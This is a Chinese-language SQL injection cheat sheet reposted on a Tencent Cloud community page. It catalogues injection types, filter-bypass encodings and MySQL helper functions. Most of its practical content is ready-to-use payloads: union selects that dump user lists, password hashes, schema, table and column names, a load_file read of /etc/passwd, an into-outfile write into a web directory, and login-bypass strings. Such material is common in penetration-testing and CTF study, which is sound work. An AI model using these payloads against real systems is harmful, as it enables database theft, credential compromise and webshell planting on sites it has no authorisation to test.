专栏首页HACKWAYSQL注入笔记总结

SQL注入笔记总结

在不断实践中经常遇到如下注入类型,总结了一些笔记

注入类型总结

注入类型

条件

关键

union注入

显示查询结果

order by , union select

布尔注入

只返回False或者True

length、ord函数、二分法

报错注入

返回错误信息

updatexml、group_concat等函数

时间盲注

无返回信息判断可执行sleep

sleep、if等函数

宽字节注入

数据库为GBK编码、使用了addslashes函数转义

%df'可以吃掉单引号

堆叠注入

执行多条查询语句

使用分号分隔多条查询语句

Cookie注入

在请求头中cookie参数异常

可用 sqlmap -r cook.txt - p 参数

base64注入

有base64编码过的参数

将payload进行base64编码,可用tamper

XFF注入

PHP中有getenv函数获取环境配置

x-forward-for、http_client_ip等请求头参数

二次注入

用户注册功能等

在注册中插入恶意代码,在登录中执行

绕过方式总结

绕过方式

绕过技巧

大小写绕过

关键字未过滤大小写混写的情况,如UniON SEleCt

双写绕过

关键字仅做替换的情况,可双写替换成需要的语句。如seleselectct替换为select

编码绕过

未对编码过滤,可进行url、ascil等常用的编码payload

内联注释绕过

/!and/

反注入函数总结

函数名称

作用

addslashes($string)

用反斜线引用字符串中的特殊字符' " \

mysql_escape_string($string)

用反斜杠转义字符串中的特殊字符,用于mysql_query()查询

mysql_real_escape_string($string)

转义SQL语句中使用的字符串中的特殊字符,并考虑到连接的当前字符集,需要保证当前是连接状态才能用该函数,否则会报警告。不转义%与_

注入常用函数总结

函数名称

作用

group_concat

可以把查询的内容组合成一个字符串

load_file(file name )

读取文件并将文件按字符串返回

left(string,length)

返回最左边指定的字符数:left(database(),1)>’s’ (猜名字)

length()

判断长度length(database()>5

substr(a,b,c)

从字符串a中截取 b到c长度

ascii()

将某个字符转为ascii值ascii(substr(user(),1,1))=101#

mid(a,b,c)

从字符串a中截取 b到c位置(可以用来猜数据库名 )

常查询变量

变量

返回结果

database

数据库名

version

数据库版本号

user

数据库当前用户名

@@basedir

数据库安装路径

@@version_compile_os

数据库操作系统

注入常用命令

  • 查看当前用户

union select 1,(select user())–+

  • 查看数据库版本

union select 1,(select version())–+

  • 查看当前数据库名

union select 1,(select database())–+

  • 查看操作系统

union select 1,(select @@version_compile_os)–+

  • 所有用户

union select 1,(select group_concat(user) from mysql.user)–+

  • 用户hash

union select 1,(select group_concat(password) from mysql.user where user=’root’)

  • 查看所有数据库名

union select 1,(SELECT group_concat(schema_name) from information_schema.schemata)–+

  • 查看某一个库的全部表

union select 1,(SELECT group_concat(table_name) from information_schema.tables where table_schema=’库名’)–+ union select 1,(SELECT group_concat(table_name) from information_schema.table_constraints where table_schema=’库名’

  • 查看某个表的字段名

union select 1,(SELECT group_concat(column_name) from information_schema.columns where table_name=’表名’)–+

  • 查看某个库中某个表的字段名

union select 1,(select group_concat(column_name) from information_schema.columns where table_name=’表名’ and table_schema=’库名’)–+

  • 读文件

union select 1,(SELECT load_file(‘/etc/passwd’))–+

  • 写文件

union select 1,’‘ into outfile ‘C:\phpStudy\PHPTutorial\WWW\Less-8\3.php’–+

绕过登录验证

  • admin’ –
  • admin’ #
  • admin’/*
  • ‘ or 1=1–
  • ‘ or 1=1#
  • ‘ or 1=1/*
  • ‘) or ‘1’=’1–
  • ‘) or (‘1’=’1–

特定符号绕过

符号名

绕过方法

空格

%09 %0a %A0 %20 /**/

注释符

-- - /* .... */ # ` ;%00 %23

union

uniounionn UNioN uni/**/on /!union/

select

selecselectt SeCel/**/t /!select/

or

oorr OR o/**/r /!or/

and

&& anandd ANd an/**/d /!and/

本文分享自微信公众号 - HACKWAY(gh_7a5a315cde00),作者:HACKWAY

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2020-08-25

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • Git使用总结

    Git(读音为/gɪt/)是一个开源的分布式版本控制系统,可以有效、高速地处理从很小到非常大的项目版本管理。

    轩辕小子
  • CTF是个啥?扫盲笔记带你一探究竟!

    CTF全称“Capture the FLAG”,俗称夺旗(flag)比赛,起源于1996年举办的DEFCON全球黑客大会,随着安全攻防技术的发展,...

    轩辕小子
  • Docker入门笔记总结

    Docker 是一个容器化平台,允许您快速构建,测试和部署应用程序,作为便携式,自给自足的容器,几乎可以在任何地方运行。Docker 是容器技术的事实上的标准,...

    轩辕小子
  • D流星雨

    用户2965768
  • 分布式事务—两阶段提交协议

    两阶段提交协议(Two-phase Commit,2PC)经常被用来实现分布式事务。一般分为协调器C和若干事务执行者Si两种角色,这里的事务执行者就是具体的数据...

    江湖前辈黄药师
  • 每周学点大数据 | No.18最小生成树(二)

    No.18期 最小生成树(二) Mr. 王:接下来我们讨论一般的情况。在一般的情况中,我们先定义一些量以方便讨论。 Gi :G 中包含所有权重小于i 的边的子...

    灯塔大数据
  • Linux 新手必会的21条命令合集

    小小科
  • 搞懂分布式技术19:使用RocketMQ事务消息解决分布式事务

    本系列文章将整理到我在GitHub上的《Java面试指南》仓库,更多精彩内容请到我的仓库里查看

    Java技术江湖
  • go语言中获得控制台输入的字符串

    strBaiduUsername := "" strBaiduPassword := "" // stdinReader := bufio.NewReader(...

    李海彬
  • 时间序列芯片数据分析极详细完整流程

    写在前面:从.CEL格式原始数据下载,到最终关键基因筛选(非hub基因)和初步验证,整个流程,目录还会增加。会涉及R及众多R包(最关键的是maSigpro和WG...

    Y大宽

扫码关注云+社区

领取腾讯云代金券